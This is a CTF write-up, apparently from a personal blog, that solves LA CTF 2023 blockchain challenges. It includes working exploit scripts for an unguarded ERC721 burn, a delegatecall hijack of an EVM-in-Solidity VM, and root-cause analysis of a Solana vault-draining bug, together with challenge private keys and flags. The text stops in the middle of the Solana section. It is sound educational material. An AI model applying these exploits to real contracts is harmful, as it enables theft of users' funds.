I participated in LA CTF 2023.
There are two solidity and one solana.
I put all efforts into solving blockchain challenges for 2 days.
One chall was solved and my thought were very closely intended solution but not solved. :sad:
However, regardless of the fact that I solved only one chall, I learnd a lot through this opportunity!
I want to share what I learned.
breakup
https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/breakup
Analysis
Setup.sol
contract Setup {
Friend public immutable friend;
SomebodyYouUsedToKnow public immutable somebodyYouUsedToKnow;
constructor() {
friend = new Friend();
somebodyYouUsedToKnow = new SomebodyYouUsedToKnow(friend);
}
function isSolved() external view returns (bool) {
uint256 totalFriends = friend.balanceOf(address(somebodyYouUsedToKnow)); // 0?
if (totalFriends == 0) {
return true;
}
bytes memory you = "You";
for (uint256 i = 0; i < totalFriends; i++) {
bytes memory thisNameBytes = bytes(
friend.friendNames(friend.tokenOfOwnerByIndex(address(somebodyYouUsedToKnow), i))
);
if (you.length == thisNameBytes.length && keccak256(you) == keccak256(thisNameBytes)) {
return false;
}
}
return true;
}
}
If we meet condition totalFriends == 0, we could get flag.
totalFriends == 0 means that the balance of somebodyYouUsedToKnow in friend contract is zero.
Friend.sol
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
contract Friend is ERC721Enumerable, Ownable {
using Counters for Counters.Counter;
Counters.Counter private _uuidCounter;
mapping(uint256 => string) public friendNames;
constructor() ERC721("Friend", "FRN") {}
function safeMint(address to, string calldata name) public {
_uuidCounter.increment();
uint256 tokenId = _uuidCounter.current();
_safeMint(to, tokenId);
friendNames[tokenId] = name;
}
function burn(uint256 tokenId) public {
_burn(tokenId);
delete friendNames[tokenId];
}
...
...
Friend inherited ERC721. Have you heard NFT? ERC721 is a implementation of NFT.
When we write contract by solidity, we usually use openzeppelin. It provides many interfaces, contracts, and utilities.
Root Cause
In friend.sol, burn does not check caller == token owner.
So I am not token owner but I can burn anything!
Exploit
somebodyYouUsedToKnow has only 1 token and tokenID is 1. (by using balanceOf(), owernOf())
import json
from web3 import Web3
from solc import compile_source
w3 = Web3(Web3.HTTPProvider("https://breakup.lac.tf/774b5c90-e954-45d0-947c-e7b50f9b841c"))
#Check Connection
t=w3.isConnected()
print(t)
# Get private key
prikey = '0xa8e07048b0ffaa5daf9ae90e472112398697b1d872ccc4b53e4f8f8bd97d0534'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3
myAddr = "0x5471F1Cd844dC1cE3c89e1Ab4468536ee46A9695"
def burn(friend, tokenId: int):
f = open('friend.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=friend, abi=abi)
func_call = contract.functions["burn"](tokenId).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
SETUP = "0x28c6379a43411c26AbAB5b6F4171F17554e59fB3"
FRIEND = "0xb9f929C79A5120190f7715DA36c01d31d61b12eC"
SOMEBODY = "0xfBB4319f64f5460A0f7D68D2632136E4D1F6f5eD"
burn(FRIEND, 1)
how to get abi.txt
lactf{s0m3_p30pl3_w4n7_t0_w4tch_th3_w0r1d_burn}
evmvm
https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/evmvm
Maybe you know there are many vm challenges in pwn and rev.
Analysis
Setup.sol
contract Setup {
EVMVM public immutable metametaverse = new EVMVM();
bool private solved = false;
function solve() external {
assert(msg.sender == address(metametaverse));
solved = true;
}
function isSolved() external view returns (bool) {
return solved;
}
}
When metametaverse call solve(), we could get flag.
EVMMM.sol
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
// YES I FINALLY GOT MY METAMETAVERSE TO WORK - Arc'blroth
contract EVMVM {
uint[] private stack;
// executes a single opcode on the metametaverse™
// TODO(arc) implement the last few opcodes
function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {
assembly {
// declare yul bindings for the stack
// apparently you can only call yul functions from yul :sob:
// https://ethereum.stackexchange.com/questions/126609/calling-functions-using-inline-assembly-yul
function spush(data) {
let index := sload(0x00)
let stackSlot := 0x00
sstore(add(keccak256(stackSlot, 0x20), index), data)
sstore(0x00, add(index, 1))
}
function spop() -> out {
let index := sub(sload(0x00), 1)
let stackSlot := 0x00
out := sload(add(keccak256(stackSlot, 0x20), index))
sstore(add(keccak256(stackSlot, 0x20), index), 0) // zero out the popped memory
sstore(0x00, index)
}
// opcode reference: https://www.evm.codes/?fork=merge
switch opcode
case 0x00 { // STOP
// lmfao you literally just wasted gas
}
case 0x01 { // ADD
spush(add(spop(), spop()))
}
case 0x02 { // MUL
spush(mul(spop(), spop()))
}
case 0x03 { // SUB
spush(sub(spop(), spop()))
}
case 0x04 { // DIV
spush(div(spop(), spop()))
}
case 0x05 { // SDIV
spush(sdiv(spop(), spop()))
}
case 0x06 { // MOD
spush(mod(spop(), spop()))
}
case 0x07 { // SMOD
spush(smod(spop(), spop()))
}
case 0x08 { // ADDMOD
spush(addmod(spop(), spop(), spop()))
}
case 0x09 { // MULMOD
spush(mulmod(spop(), spop(), spop()))
}
case 0x0A { // EXP
spush(exp(spop(), spop()))
}
case 0x0B { // SIGNEXTEND
spush(signextend(spop(), spop()))
}
case 0x10 { // LT
spush(lt(spop(), spop()))
}
case 0x11 { // GT
spush(gt(spop(), spop()))
}
case 0x12 { // SLT
spush(slt(spop(), spop()))
}
case 0x13 { // SGT
spush(sgt(spop(), spop()))
}
case 0x14 { // EQ
spush(eq(spop(), spop()))
}
case 0x15 { // ISZERO
spush(iszero(spop()))
}
case 0x16 { // AND
spush(and(spop(), spop()))
}
case 0x17 { // OR
spush(or(spop(), spop()))
}
case 0x18 { // XOR
spush(xor(spop(), spop()))
}
case 0x19 { // NOT
spush(not(spop()))
}
case 0x1A { // BYTE
spush(byte(spop(), spop()))
}
case 0x1B { // SHL
spush(shl(spop(), spop()))
}
case 0x1C { // SHR
spush(shr(spop(), spop()))
}
case 0x1D { // SAR
spush(sar(spop(), spop()))
}
case 0x20 { // SHA3
spush(keccak256(spop(), spop()))
}
case 0x30 { // ADDRESS
spush(address())
}
case 0x31 { // BALANCE
spush(balance(spop()))
}
case 0x32 { // ORIGIN
spush(origin())
}
case 0x33 { // CALLER
spush(caller())
}
case 0x34 { // CALLVALUE
spush(callvalue())
}
case 0x35 { // CALLDATALOAD
spush(calldataload(spop()))
}
case 0x36 { // CALLDATASIZE
spush(calldatasize())
}
case 0x37 { // CALLDATACOPY
calldatacopy(spop(), spop(), spop())
}
case 0x38 { // CODESIZE
spush(codesize())
}
case 0x3A { // GASPRICE
spush(gasprice())
}
case 0x3B { // EXTCODESIZE
spush(extcodesize(spop()))
}
case 0x3C { // EXTCODECOPY
extcodecopy(spop(), spop(), spop(), spop())
}
case 0x3D { // RETURNDATASIZE
spush(returndatasize())
}
case 0x3E { // RETURNDATACOPY
returndatacopy(spop(), spop(), spop())
}
case 0x3F { // EXTCODEHASH
spush(extcodehash(spop()))
}
case 0x40 { // BLOCKHASH
spush(blockhash(spop()))
}
case 0x41 { // COINBASE (sponsored opcode)
spush(coinbase())
}
case 0x42 { // TIMESTAMP
spush(timestamp())
}
case 0x43 { // NUMBER
spush(number())
}
case 0x44 { // PREVRANDAO
spush(difficulty())
}
case 0x45 { // GASLIMIT
spush(gaslimit())
}
case 0x46 { // CHAINID
spush(chainid())
}
case 0x47 { // SELBALANCE
spush(selfbalance())
}
case 0x48 { // BASEFEE
spush(basefee())
}
case 0x50 { // POP
pop(spop())
}
case 0x51 { // MLOAD
spush(mload(spop()))
}
case 0x52 { // MSTORE
mstore(spop(), spop())
}
case 0x53 { // MSTORE8
mstore8(spop(), spop())
}
case 0x54 { // SLOAD
spush(sload(spop()))
}
case 0x55 { // SSTORE
sstore(spop(), spop())
}
case 0x59 { // MSIZE
spush(msize())
}
case 0x5A { // GAS
spush(gas())
}
case 0x80 { // DUP1
let val := spop()
spush(val)
spush(val)
}
case 0x91 { // SWAP1
let a := spop()
let b := spop()
spush(a)
spush(b)
}
case 0xF0 { // CREATE
spush(create(spop(), spop(), spop()))
}
case 0xF1 { // CALL
spush(call(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
}
case 0xF2 { // CALLCODE
spush(callcode(spop(), spop(), spop(), spop(), spop(), spop(), spop()))
}
case 0xF3 { // RETURN
return(spop(), spop())
}
case 0xF4 { // DELEGATECALL
spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
}
case 0xF5 { // CREATE2
spush(create2(spop(), spop(), spop(), spop()))
}
case 0xFA { // STATICCALL
spush(staticcall(spop(), spop(), spop(), spop(), spop(), spop()))
}
case 0xFD { // REVERT
revert(spop(), spop())
}
case 0xFE { // INVALID
invalid()
}
case 0xFF { // SELFDESTRUCT
selfdestruct(spop())
}
}
}
fallback() payable external {
revert("sus");
}
receive() payable external {
revert("we are a cashless institution");
}
}
I had know that we could use assembly, yul in solidity but not detailed.
https://docs.soliditylang.org/en/v0.8.17/assembly.html
https://docs.soliditylang.org/en/v0.8.17/yul.html#yul
enterTheMetametaverse() handle opcode and the storage of contract is the stack of vm.
By looking into spush() and spop(), we could know that storage slot 0 has stack size, storage slot more than 1 has stack item.
As mentioned, we should call solve() of Setup.sol.
Thus I thought that first I push arguemnts of call and call solve().
But there is a problem...
https://www.evm.codes/#f1?fork=merge
call(gas, address, value, argsOffset, argsSize, retOffset, retSize)
gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
address: the account which context to execute.
value: value in wei to send to the account.
argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
argsSize: byte size to copy (size of the calldata).
retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
retSize: byte size to copy (size of the return data).
call() uses memory of evm because calldata is copied from caller's memory.
The structure of calldata is function signature (4bytes) || arg1 || padding(exists or not) || arg2 || ...
I wonder how function which does not have argument received argumnet.
It ignores arguments
Thus, I believe that I store function signature of solve() by using mstore(0x80, sig).
call(gas(), address of setup.sol, 0, 0x80, 0x4, 0, 0)
I tried this again and again... it failed.
Acutally, author commented enterTheMetametaverse() about in EVMVM.sol.
It just executes single opcode!
That is, it means that every time evm enter this function, its memory is fresh!!!
The moment I realized this, my mental is breakdown. :laugh:
https://betterprogramming.pub/solidity-tutorial-all-about-memory-1e1696d71ee4
Under memory is reused and not initzialized like C, I tried solving this chall.
But it is wrong.
Do you know answer of following quiz?
If we call quiz(1), what does storage variable 'x' store?
contract Quiz{
uint public x;
function quiz(uint select) public {
if(select == 1) {
assembly {
mstore(0x80, 123456)
}
quiz(0);
}
else {
assembly {
let y := mload(0x80)
sstore(0, y)
}
}
}
}
The answer is 123456.
Next, If we call quiz2(External contract's addr, 1), what does storage variable 'x' store?
contract External{
Quiz2 q2;
constructor(address _quiz2) {
q2 = Quiz2(_quiz2);
}
function reenter() public {
q2.quiz2(address(0), 0);
}
}
contract Quiz2{
uint public x;
function quiz2(address _external, uint select) public {
if(select == 1) {
assembly {
mstore(0x80, 123456)
}
_external.call(abi.encodeWithSignature("reenter"));
}
else {
assembly {
let y := mload(0x80)
sstore(0, y)
}
}
}
}
The answer is 0.
https://docs.soliditylang.org/en/v0.8.17/control-structures.html#internal-function-calls
https://docs.soliditylang.org/en/v0.8.17/control-structures.html#external-function-calls
Being called "internal" simple jumps inside the EVM. This has the effect that the current memory is not cleared
Being called “externally”, using a message call and not directly via jumps.
To execute single opcode, we continuously do "external" call.
Though of mload(0x80, sig), 0x80 of memory address does not sustain sig unitl call(gas(), address of setup.sol, 0, 0x40, 0x4, 0, 0).
If function signature of calldata is not found in contract, fallback() would handle this problem.
According to what I've said as far, we could call fallback() because we cannot set function signature of calldata.
Therefore delegatecall will be answer!.
call vs delegatecall
delegatecall does not change context.
so msg.sender, storage is equal to previous context.
Let A, B, C be contract.
when A >(call) B >(call) C
In context of B, msg.sender is A.
In context of C, msg.sender is B.
when A >(call) B >(delegatecall) C
In context of B, msg.sender is A.
In context of C, msg.sender is A.
when A >(delegatecall) B >(call) C
In context of B, msg.sender is A's caller.
In context of C, msg.sender is A.
when A >(delegatecall) B >(delegatecall) C
In context of B, msg.sender is A's caller.
In context of C, msg.sender is A's caller.
Is it interesting?
when A >(delegatecall) B >(delegatecall) C >(call) D
In context of D, who is msg.sender?
Answer is A.
https://gist.github.com/kangsangsoo/fd73e98dbcb442a18a76f1f3a79b3134
Finally,
when A >(delegatecall) B >(delegatecall) C >(call) D >(call) E
In context of E, who is msg.sender?
Answer is D.
https://gist.github.com/kangsangsoo/0b66508f84a975f066c34cd594e40147
If you want to deep dive, https://noxx.substack.com/p/evm-deep-dives-the-path-to-shadowy-a5f
Return to subject,
We are approaching in.
EOA >(call) EVMVM >(call) SETUP.
But we can call not SETUP's solve() but SETUP's fallback().
In following sequence, we can call SETUP's solve() is true and msg.sender == EVMVM in solve() is true
EOA >(call) EVMVM >(delegatecall) MY CONTRACT >(call) SETUP
So MY CONTRACT must have fallback().
The fallback() must containe SETUP.solve().
It's about all.
Solve
This chall's category is still VM. So how to push and pop what I want is also important.
To do
https://www.evm.codes/#f4?fork=merge
delegatecall(gas, address, argsOffset, argsSize, retOffest, retSize)
gas: amount of gas to send to the sub context to execute. The gas that is not used by the sub context is returned to this one.
address: the account which code to execute.
argsOffset: byte offset in the memory in bytes, the calldata of the sub context.
argsSize: byte size to copy (size of the calldata).
retOffset: byte offset in the memory in bytes, where to store the return data of the sub context.
retSize: byte size to copy (size of the return data).
We construct delegatecall(gas(), MYCONTRACT's addr, 0, 0, 0, 0)
case 0xF4 { // DELEGATECALL
spush(delegatecall(spop(), spop(), spop(), spop(), spop(), spop()))
}
As solidity calling convention, it follows left to right.
So in func(arg1(), arg2(), arg3()), arg1() , we can understand arg1() > arg2() > arg3() > func().
https://gist.github.com/kangsangsoo/83406acd8a1e3f0978a52bb03cc894e4
But, in assembly {} right to left. i.e. arg3() > arg2() > arg1() > func(). .. why?
https://gist.github.com/kangsangsoo/d6002f0ed37f9158e97e577d08f0c89e
I recommend remix debugger!
Because it uses stack,
(Top)
0
0
0
0
addr
gas
-------------------
(Bottom)
We have many many ether.
The environment of chall has chainid = 1. I set base number 1 by using chainid().
There are arithmetic opcodes so we can make any number.
case 0x01 { // ADD
spush(add(spop(), spop()))
}
case 0x02 { // MUL
spush(mul(spop(), spop()))
}
case 0x03 { // SUB
spush(sub(spop(), spop()))
}
Or
I think that author intended we use calldataload() because enterTheMetametaverse has arg whose type is bytes32.
function enterTheMetametaverse(bytes32 opcode, bytes32 arg) external {
case 0x35 { // CALLDATALOAD
spush(calldataload(spop()))
}
As mentioned above, calldata's structure looks like
func signature(4-byte) || arg1 || padding(if arg1's length is not 32-byte) || arg2 || pading || ...
https://www.evm.codes/#35?fork=merge
calldataload(idx) returns calldata[idx:idx+32].
If we call calldataload(36), output is arg and it is pushed top of stack.
The size of storage slot is 32-byte.
i.e. the size of stack item is 32-byte is equal arg's size.
If you do not understand following sequence, follow stey by step.
gas # push block.number to top of stack (big enough)
# to construct 36
# 36 = 4 * 9
# 36 = 2 * 2 * 3 * 3
chainid() # 1
chainid() # 1
add() # 1 + 1 =2
dup() # 2 2
chainid() # 1
chainid() # 1
chainid() # 1
add() # 1 + 1= 2
add() # 1 + 2 = 3
dup() # 3 3
mul() # 3 * 3 = 9
mul() # 2 * 9 = 18
mul() # 2 * 18 = 36
calldataload() # calldataload(36)
# to construct 0, 0, 0, 0
chainid() # 1
chainid() # 1
sub() # 1 - 1 = 0, top of stack is zero
dup() # two zero
dup() # three zero
dup() # four zero
# finish setting
delegatecall()
Although return value of delegatecall() is 1, solved of Setup contract is still zero.
The problem is that the my_contract was created incorrectly.
Can you find my flaw?
my_contract.sol
contract Attack {
address public setup;
constructor(address _setup) {
setup = _setup;
}
fallback() external {
setup.call(abi.encodeWithSignature("solve()"));
}
}
We enter in my_contract.sol by delegatecall() from EVMVM.sol
Therefore, storage is not changed and 'setup' variable is not Setup.sol address.
It is storage slot 0 of EVMVM.sol.
To avoid this problem, we hardcode setup address!
In my case, I use imuutable keyword. It is not stored storage.
imuutable
https://ethereum.stackexchange.com/questions/82240/what-is-the-immutable-keyword-in-solidity
my_contract.sol
contract Attack {
address immutable public setup;
constructor(address _setup) {
setup = _setup;
}
fallback() external {
setup.call(abi.encodeWithSignature("solve()"));
}
}
solve.py
import json
from web3 import Web3
from solc import compile_source
from Crypto.Util.number import *
w3 = Web3(Web3.HTTPProvider("https://evmvm.lac.tf/f9c5c1f5-da4c-4937-8c6f-866f6ca2bb8d"))
#Check Connection
t=w3.isConnected()
print(t)
# Get env
prikey = '0x416f3a4385aa760711c66e58b5d1b107c5d32da84ee822822894db3338ce1fbb'
METAMETAVERSE= "0x59862b91B86915F63875Cb678919a4ea0f300cDF"
SETUP = "0xCbC0618109baEFc534e440D016F004c8f6Dee401"
MY_CONTRACT = ""
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address
myAddr = Public_Address
# if you want to debug
def view_stack():
stack_size = bytes_to_long(w3.eth.get_storage_at(METAMETAVERSE, 0))
print("stack size: " + hex(stack_size))
for i in range(stack_size):
res = w3.eth.get_storage_at(METAMETAVERSE, 0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563 + i)
print(hex(i) + ": " + str(res))
def deploy_my_contract():
f = open("attack_abi", "r"); contract_abi= f.read(); f.close()
f = open("attack_bytecode", "r"); contract_bytecode= f.read(); f.close()
contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
transaction = contract.constructor(SETUP).buildTransaction(
{
"chainId": w3.eth.chain_id,
"gasPrice": w3.eth.gas_price,
"from": Public_Address,
"nonce": w3.eth.get_transaction_count(Public_Address),
}
)
sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
print("Deploying Contract!")
# Send the transaction
transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
# Wait for the transaction to be mined, and get the transaction receipt
print("Waiting for transaction to finish...")
transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
print(transaction_receipt)
print(f"Done! Contract deployed to {transaction_receipt.contractAddress}")
return str(transaction_receipt.contractAddress)
def enterTheMetametaverse(EVMVM, opcode, arg):
f = open('evmvm.abi', 'r')
abi_txt = f.read()
abi = json.loads(abi_txt)
contract = w3.eth.contract(address=EVMVM, abi=abi)
func_call = contract.functions["enterTheMetametaverse"](opcode, arg).buildTransaction({
"from": myAddr,
"nonce": w3.eth.get_transaction_count(myAddr),
"gasPrice": w3.eth.gas_price,
"value": 0,
"chainId": w3.eth.chain_id
})
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
print(transaction_receipt)
def push_chainid():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x46", b"\x00"*32)
def add_top():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x01", b"\x00"*32)
def sub_top():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x03", b"\x00"*32)
def dup_top():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x80", b"\x00"*32)
def mul_top():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x02", b"\x00"*32)
def push_gas():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x43", b"\x00"*32) # block number
def delegatecall():
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\xF4", b"\x00"*32)
def calldataload(arg):
enterTheMetametaverse(METAMETAVERSE, b"\x00"*31 + b"\x35", arg)
push_gas()
push_chainid()
push_chainid()
add_top()
dup_top()
push_chainid()
push_chainid()
push_chainid()
add_top()
add_top()
dup_top()
mul_top()
mul_top()
mul_top()
my_contract_addr = deploy_my_contract()
my_contract_addr = long_to_bytes(int(my_contract_addr, 16))
calldataload(my_contract_addr.rjust(32, b"\x00"))
push_chainid()
push_chainid()
sub_top()
dup_top()
dup_top()
dup_top()
view_stack() # debug
delegatecall()
view_stack() # debug
lactf{yul_hav3_a_bad_t1me_0n_th3_m3tam3tavers3}
sailor
https://github.com/uclaacm/lactf-archive/tree/master/2023/pwn/sailor
I found a way to get a flag with twice function call.
Recent solana challs were made with sol-ctf-framework.
I had never solved a solana chall with python until I saw this problem.
So I did not know how to call twice. :sad:
Therefore I believed that author intended it is solved by only one function call. :laugh:
As a reuslt, I did not find solution...
Analysis
.
├── chall
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ └── lib.rs
├── server
│ ├── Cargo.lock
│ ├── Cargo.toml
│ └── src
│ └── main.rs
├── solve.py
├── Dockerfile
└── sailor.so
4 directories, 9 files
sailor.so is compile from chall.
main.rs
It contains setting environment of ctf framework.
https://github.com/otter-sec/sol-ctf-framework
What we have to is focusing on handle_connection().
fn handle_connection(socket: &mut TcpStream) -> Result<(), Box<dyn Error>> {
let mut builder = ChallengeBuilder::try_from(socket.try_clone()?)?;
let mut rng = StdRng::from_seed([42; 32]);
// put program at a fixed pubkey to make anchor happy
let prog = Keypair::generate(&mut rng);
// load programs
let solve_pubkey = builder.input_program()?;
builder.builder.add_program(prog.pubkey(), "sailor.so");
First, it constructs ChalengeBuilder for challenge andit generate fixed program public key.
Then, it sets challenge environment by reading program.
"read" here means reading the compiled .so file.
// make user
let user = Keypair::new();
let rich_boi = Keypair::new();
let (vault, _) = Pubkey::find_program_address(&[b"vault"], &prog.pubkey());
let (sailor_union, _) =
Pubkey::find_program_address(&[b"union", rich_boi.pubkey().as_ref()], &prog.pubkey());
writeln!(socket, "program: {}", prog.pubkey())?;
writeln!(socket, "user: {}", user.pubkey())?;
writeln!(socket, "vault: {}", vault)?;
writeln!(socket, "sailor union: {}", sailor_union)?;
writeln!(socket, "rich boi: {}", rich_boi.pubkey())?;
writeln!(socket, "system program: {}", system_program::id())?;
Next, some accounts is created for challenge and is sent by writeln! for user.
Keypair::new() generate randomly public key.
https://docs.rs/solana-sdk/latest/solana_sdk/signer/keypair/struct.Keypair.html#method.new
Pubkey::find_program_address() is very important concept in Solana.
// add accounts and lamports
const TARGET_AMT: u64 = 100_000_000;
const INIT_BAL: u64 = 1337;
const TOTAL_BAL: u64 = 1_000_000_000;
const VAULT_BAL: u64 = 500_000_000;
builder
.builder
.add_account_with_lamports(vault, system_program::id(), INIT_BAL)
.add_account_with_lamports(rich_boi.pubkey(), system_program::id(), TOTAL_BAL)
.add_account_with_lamports(user.pubkey(), system_program::id(), INIT_BAL);
let mut challenge = builder.build();
lamport is similar to Ethereum's wei. 1 lamport = 0.000000001 SOL and they are consumed like gas.
So challenge initiallzes that
vault := 1337,
rich_boi := 1_000_000_000,
user := 1337
then, enviornment setting and initialization ends.
let mut create_instruction = vec![190, 65, 164, 249, 61, 177, 154, 181];
create_instruction.extend(CreateUnion { bal: VAULT_BAL }.try_to_vec()?);
challenge.env.execute_as_transaction(
&[Instruction::new_with_bytes(
prog.pubkey(),
&create_instruction,
vec![
AccountMeta::new(sailor_union, false),
AccountMeta::new(rich_boi.pubkey(), true),
AccountMeta::new(vault, false),
AccountMeta::new_readonly(system_program::id(), false),
],
)],
&[&rich_boi],
);
What is create_instruction?
It is similiar to function signature in Solidity.
sha256({namespace:method name)[:8].
The instruction is made of [function signature] + [args].
So Anchor handle program process by signature.
In one word, it just call create_union() in lib.rs.
// run solve
challenge.input_instruction(solve_pubkey, &[&user])?;
// check solve
let balance = challenge
.env
.get_account(user.pubkey())
.ok_or("could not find user")?
.lamports;
writeln!(socket, "lamports: {:?}", balance)?;
if balance > TARGET_AMT {
let flag = fs::read_to_string("flag.txt")?;
writeln!(
socket,
"You successfully exploited the working class and stole their union dues! Congratulations!\nFlag: {}",
flag.trim()
)?;
} else {
writeln!(socket, "That's not enough to get the flag!")?;
}
Finally, it receive user inputs by input_instruction() and execute them.
https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L109(to understand solve.py)
And if user's balance > TARGET_AMT, we could get flag!
lib.rs
In order to solve this chall, we would use functions in lib.rs
fn transfer<'a>(
from: &AccountInfo<'a>,
to: &AccountInfo<'a>,
amt: u64,
signers: &[&[&[u8]]],
) -> Result<()> {
if from.lamports() >= amt {
invoke_signed(
&system_instruction::transfer(from.key, to.key, amt),
&[from.clone(), to.clone()],
signers,
)?;
}
Ok(())
}
It implements transfer(from, to, amount).
#[program]
mod sailor {
use super::*;
pub fn create_union(ctx: Context<CreateUnion>, bal: u64) -> Result<()> {
msg!("creating union {}", bal);
if ctx.accounts.authority.lamports() >= bal {
transfer(&ctx.accounts.authority, &ctx.accounts.vault, bal, &[])?;
// initial balance isn't available because I said so
ctx.accounts.sailor_union.available_funds = 0;
ctx.accounts.sailor_union.authority = ctx.accounts.authority.key();
Ok(())
} else {
msg!(
"insufficient funds, have {} but need {}",
ctx.accounts.authority.lamports(),
bal
);
Err(ProgramError::InsufficientFunds.into())
}
}
#[derive(Accounts)]
pub struct CreateUnion<'info> {
#[account(
init,
payer = authority,
space = 8 + std::mem::size_of::<SailorUnion>(),
seeds = [b"union", authority.key.as_ref()],
bump
)]
sailor_union: Account<'info, SailorUnion>,
#[account(mut)]
authority: Signer<'info>,
#[account(mut, seeds = [b"vault"], bump)]
vault: SystemAccount<'info>,
system_program: Program<'info, System>,
}
#[account]
pub struct SailorUnion {
available_funds: u64,
authority: Pubkey,
}
create_union() register for sailor_union's information that what authority, vault and system_program.
In this process, authority pay some lamports to vault but available_funds is set by zero.
pub fn pay_dues(ctx: Context<PayDues>, amt: u64) -> Result<()> {
msg!("paying dues {}", amt);
if ctx.accounts.member.lamports() >= amt {
ctx.accounts.sailor_union.available_funds += amt;
transfer(&ctx.accounts.authority, &ctx.accounts.vault, amt, &[])?;
Ok(())
} else {
msg!(
"insufficient funds, have {} but need {}",
ctx.accounts.member.lamports(),
amt
);
Err(ProgramError::InsufficientFunds.into())
}
}
#[derive(Accounts)]
pub struct PayDues<'info> {
#[account(mut)]
sailor_union: Account<'info, SailorUnion>,
member: SystemAccount<'info>,
#[account(mut)]
authority: Signer<'info>,
#[account(mut, seeds = [b"vault"], bump)]
vault: SystemAccount<'info>,
system_program: Program<'info, System>,
}
pay_dues() make authority pay some lamports to vault.
pub fn strike_pay(ctx: Context<StrikePay>, amt: u64) -> Result<()> {
msg!("strike pay {}", amt);
let (_, vault_bump) = Pubkey::find_program_address(&[b"vault"], &ID);
if ctx.accounts.sailor_union.available_funds >= amt {
ctx.accounts.sailor_union.available_funds -= amt;
transfer(
&ctx.accounts.vault,
&ctx.accounts.member,
amt,
&[&[b"vault", &[vault_bump]]],
)?;
Ok(())
} else {
msg!(
"insufficient funds, have {} but need {}",
ctx.accounts.sailor_union.available_funds,
amt
);
Err(ProgramError::InsufficientFunds.into())
}
}
#[derive(Accounts)]
pub struct StrikePay<'info> {
#[account(mut)]
sailor_union: Account<'info, SailorUnion>,
#[account(mut)]
member: SystemAccount<'info>,
authority: Signer<'info>,
#[account(mut, seeds = [b"vault"], bump)]
vault: SystemAccount<'info>,
system_program: Program<'info, System>,
}
Until now anyone pay some lamprots to vault.
At this time, strike_pay() make vault transfer some amount to member.
Root cause
Do you wonder difference between member and authority in Account Struct?
At create_union(), it fixed who authority is.
For union's logic, I think the only account(public key) that has authority could call pay_dues() and strike_pay().
In pay_dues()
if ctx.accounts.member.lamports() >= amt {
ctx.accounts.sailor_union.available_funds += amt;
transfer(&ctx.accounts.authority, &ctx.accounts.vault, amt, &[])?;
First of all, they check the balance of member but they withdraw some lamports from authority.
To do this, it needs assumption member == authority but they do not check it.
Although before invoke_signed() transfer() function checks balance of from > amt, transfer() do not generate any error so sailor_union.available_funds still increase.
if from.lamports() >= amt {
invoke_signed(
&system_instruction::transfer(from.key, to.key, amt),
&[from.clone(), to.clone()],
signers,
)?;
}
Ok(())
In strike_pay()
if ctx.accounts.sailor_union.available_funds >= amt {
ctx.accounts.sailor_union.available_funds -= amt;
transfer(
&ctx.accounts.vault,
&ctx.accounts.member,
amt,
&[&[b"vault", &[vault_bump]]],
)?;
They do no check member is union's member.
So anyone that do not enroll union could call strike_pay().
To fix this, we would add if sailor_unior.authority == member to that.
In short, attacker increase sailor_union.available_funds by pay_dues() and withdraw 1_000_000 lamports from vault by strike_pay().
Although anyone can easily find vulnerability, writing the exploit code was more challenging.
Solve
Let me first explain my wrong approach.
In IdekCTF and DiceCTF, there are solana challenges.
They are solved by using Anchor. https://www.anchor-lang.com/
I thought that I could solve this chall with Anchor as well.
So I wrote following code. https://gist.github.com/kangsangsoo/d30f154cba6b471e510b6fda556a983e
I ran solve.py and got error: "The declared program id does not match the actual program id."
Aplet123
Triacontakai
explaind to me why my approach is incorrect.
this chall used https://github.com/otter-sec/sol-ctf-framework/tree/main
other chall used https://github.com/otter-sec/sol-ctf-framework/tree/rewrite-v2
this chall generate program key by https://github.com/otter-sec/sol-ctf-framework/blob/main/src/lib.rs#L84
other chall generate program key by https://github.com/otter-sec/sol-ctf-framework/blob/rewrite-v2/src/lib.rs#L80
Therefore, it is impossible that my solve.so's program ID is equal to program key that this chall generates.
the 8 byte instruction thing is only an anchor thing that it uses to determine which instruction handler to route it to
but normal solana programs always send the instruction data to process_instruction
In normal case, check https://docs.rs/solana-program/latest/solana_program/
#[cfg(not(feature = "no-entrypoint"))]
